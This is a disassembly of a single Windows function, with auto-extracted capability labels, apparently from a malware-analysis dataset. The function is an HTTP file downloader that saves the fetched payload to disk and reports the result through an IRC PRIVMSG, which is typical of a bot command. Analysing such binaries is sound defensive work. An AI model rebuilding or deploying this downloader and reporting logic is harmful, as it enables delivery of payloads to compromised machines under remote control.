Function at 0x40b7d9
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1658
call fcn.0040ec80
sub esp, eax
mov eax, dword [0x45fd00]
mov dword [ebp - 0x2c], eax
mov dword [esp + 4], 0x45fcc0
lea eax, [ebp - 0x132]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0xfa
mov dword [esp + 4], 0
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 7
jmp 0x40b904
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x318
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x461d10
movzx eax, byte [eax]
cmp al, 0x2f
je 0x40b92c
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x318
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x461d10
movzx eax, byte [eax]
cmp al, 0x3a
jne 0x40b8aa
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 1
jmp 0x40b8fc
cmp dword [ebp - 0x1c], 0
je 0x40b8d9
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x318
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x461d10
movzx eax, byte [eax]
lea ecx, [ebp - 0x1631]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x14], 1
jmp 0x40b8fc
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x318
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x461d10
movzx eax, byte [eax]
lea ecx, [ebp - 0x22c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x110
add eax, 0x461c00
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0xc]
cmp edx, eax
jb 0x40b862
jmp 0x40b92d
nop
cmp dword [ebp - 0x1c], 0
je 0x40b954
lea edx, [ebp - 0x1631]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x1631]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x18], eax
jmp 0x40b95b
mov dword [ebp - 0x18], 0x50
mov eax, dword [ebp - 0x10]
add eax, 1
mov byte [ebp + eax - 0x22c], 0
lea eax, [ebp - 0x42c]
mov dword [eax], 0x20544547
mov byte [eax + 4], 0
mov dword [ebp - 0x10], 0
jmp 0x40b9ad
mov eax, dword [ebp - 0x30]
imul edx, eax, 0x318
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x461d10
movzx eax, byte [eax]
lea ecx, [ebp - 0x62c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x110
add eax, 0x461c00
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0xc]
cmp edx, eax
jb 0x40b982
mov eax, dword [ebp - 0x10]
add eax, 1
mov byte [ebp + eax - 0x62c], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x22c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x62c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.GET__s_HTTP_1.1_r_n_Accept:___r_nAccept_Language:_nl_r_nAccept_Encoding:_gzip__deflate_r_nUser_Agent:Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__r_nHost:__s:_i_r_nConnection:_Keep_Alive_r_n_r_n
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._create_sock
mov edx, dword [ebp - 0x30]
imul edx, edx, 0x318
add edx, 0x461d08
mov dword [edx], eax
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
test eax, eax
jne 0x40ba63
mov dword [esp + 4], str.Error_connecting
lea eax, [ebp - 0x62c]
mov dword [esp], eax
call sym._sprintf
jmp 0x40bd82
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x42c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x162c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea edx, [ebp - 0x162c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x40bb1f
mov dword [esp + 4], str.Error_connecting
lea eax, [ebp - 0x62c]
mov dword [esp], eax
call sym._sprintf
jmp 0x40bd82
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x210
add eax, 0x461c00
add eax, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x20
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x40bbb3
mov dword [esp + 4], str.Error_or_Fail
lea eax, [ebp - 0x62c]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
jmp 0x40bd82
mov dword [ebp - 0x28], 5
jmp 0x40bc08
mov eax, dword [ebp - 0x28]
sub eax, 1
movzx eax, byte [ebp + eax - 0x162c]
cmp al, 0xa
jne 0x40bc04
mov eax, dword [ebp - 0x28]
sub eax, 2
movzx eax, byte [ebp + eax - 0x162c]
cmp al, 0xd
jne 0x40bc04
mov eax, dword [ebp - 0x28]
sub eax, 3
movzx eax, byte [ebp + eax - 0x162c]
cmp al, 0xa
jne 0x40bc04
mov eax, dword [ebp - 0x28]
sub eax, 4
movzx eax, byte [ebp + eax - 0x162c]
cmp al, 0xd
je 0x40bc12
add dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x20]
jle 0x40bbbc
jmp 0x40bc13
nop
mov dword [esp + 4], str._r_n_r_n
lea eax, [ebp - 0x162c]
mov dword [esp], eax
call sym._strstr
add eax, 4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x28]
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1638]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x1638]
mov dword [ebp - 0x24], eax
jmp 0x40bd68
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x162c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea edx, [ebp - 0x162c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40bd09
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x210
add eax, 0x461c00
lea edx, [eax + 4]
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.Saved_to__s_size:__i
lea eax, [ebp - 0x62c]
mov dword [esp], eax
call sym._sprintf
jmp 0x40bd72
cmp dword [ebp - 0x20], 0
jns 0x40bd27
mov dword [esp + 4], 0x4251e8
lea eax, [ebp - 0x62c]
mov dword [esp], eax
call sym._sprintf
jmp 0x40bd72
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x1638]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x162c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1638]
add eax, edx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
jg 0x40bc72
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x62c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x132]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:_s_n
lea eax, [ebp - 0x162c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x162c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x162c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
mov eax, 0
leave
ret 4